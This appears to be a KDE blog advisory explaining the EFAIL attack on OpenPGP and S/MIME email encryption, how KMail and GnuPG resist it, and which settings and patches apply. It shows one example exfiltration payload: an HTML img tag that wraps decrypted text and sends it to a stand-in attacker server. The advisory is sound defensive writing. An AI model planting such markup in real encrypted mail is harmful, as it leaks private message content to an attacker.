EFAIL and KMail
On Monday, a security vulnerability in the OpenPGP and S/MIME email encryption standards and the email clients using those, called EFAIL was published.
What is this about and how is KMail affected? (Spoiler: KMail users are safe by default.)
Encrypted Email
The discovered vulnerability affects the OpenPGP and S/MIME standards used for end-to-end encryption of emails that specifically encrypts emails for the intended receivers. This is not to be confused with transport encryption (typically TLS) that is used universally when communicating with an email server. Users not using OpenPGP and S/MIME are not affected by this vulnerability.
End-to-end encryption is usually employed to prevent anyone different from the intended receiver from accessing message content, even if they somehow manage to intercept or accidentally receive an email. The EFAIL attack does not attempt to break that encryption itself. Instead, it applies some clever techniques to trick the intended receiver into decrypting the message, and then sending the clear text content back to the attacker.
KMail relies on GnuPG for the OpenPGP and S/MIME handling, so you might also be interested in the GnuPG team's statement on EFAIL.
Exfiltration Channels
The EFAIL research paper proposes several exfiltration channels for returning the clear text content. The easiest one to understand is by exploiting the HTML capabilities of email clients. If not properly controlled, HTML email messages can download external resources, such as images, while displaying an email - a feature often used in corporate environments.
Considerably simplified, the idea is to add additional encrypted content around an intercepted encrypted message. The whole procedure for doing this is quite elaborate and explained in depth in the paper. Let's assume an attacker manages to prefix an intercepted encrypted email with the (encrypted) string "<img src='http://my.site/?" and append an extra "'/>". The result would look something like this, after decryption by the receiver:
| Attacker inserted | Original content | |
|---|---|---|
| <img src="http://my.site/? | SomeTopSecretText | "/> |
An email client that unconditionally retrieves content from the Internet while displaying HTML emails would now leak the email content as part of an HTTP GET request to an attacker controlled web server - game over.
OpenPGP
The OpenPGP standard has a built-in detection mechanism for manipulations of the encrypted content. This provides effective protection against this attack. KMail, or rather the GnuPG stack KMail uses for email cryptography, does make use of this correctly. Not all email clients tested by the EFAIL authors seem to do this correctly, though. Notwithstanding, your OpenPGP encrypted emails are safe from this attack if you use KMail.
S/MIME
The situation with S/MIME is more difficult, as S/MIME itself does not have any integrity protection for the encrypted content, leaving email clients with no way to detect the EFAIL attack. That's a conceptual weakness of S/MIME that can only really be fixed by moving to an improved standard.
Fortunately, this does not mean that your S/MIME encrypted emails cannot be protected in KMail. By default, KMail does not retrieve external content for HTML emails. It only does that if you either explicitly trigger this for an individual email by clicking the red warning box at the top of emails which informs of external content, or if you enable this unconditionally via Settings > Configure KMail > Security > Reading > Allow messages to load external references from the Internet. Starting with version 18.04.01, the latter setting will be ignored for S/MIME encrypted content as an additional precaution. For older versions, we recommend you make sure this setting is disabled.
Furthermore, distribution maintainers can get patches to solve this problem from here:
https://phabricator.kde.org/D12391 https://phabricator.kde.org/D12393 https://phabricator.kde.org/D12394
CRL and OCSP
In order to revoke compromised signing keys, S/MIME relies on certificate revocation lists (CRLs) or the online certificate status protocol (OCSP). These two mechanisms consult an online server defined by the authority managing the respective keys. The EFAIL paper suggests that this might be another possible exfiltration channel, as well as HTML. However, this hasn't been demonstrated yet, and the GnuPG team thinks it is unlikely to work. It is also a relevant piece of the S/MIME security model, so simply disabling this as a precaution has security implications, too.
Therefore, we have not changed the default settings for this in KMail at this point. The reason is because compromised and thus revoked keys seem to be the more common concern than an elaborate targeted attack that would employ CRL or OCSP as an exfiltration channel (if possible at all). You'll find the corresponding settings for the CRL and OCSP usage under Settings > Configure KMail > Security > S/MIME Validation should you want to review or change them.
Conclusion
Research in email client and email cryptography security is very much appreciated and badly needed, considering how prevalent email is in our daily communication. As the results show, S/MIME is showing its age and is in need of conceptual improvements. Also, EFAIL again highlights the dangers to privacy caused by HTML emails with external references. Most importantly, this shows that your emails are well-protected by KMail and GnuPG, and there is certainly no reason to panic and stop using email encryption.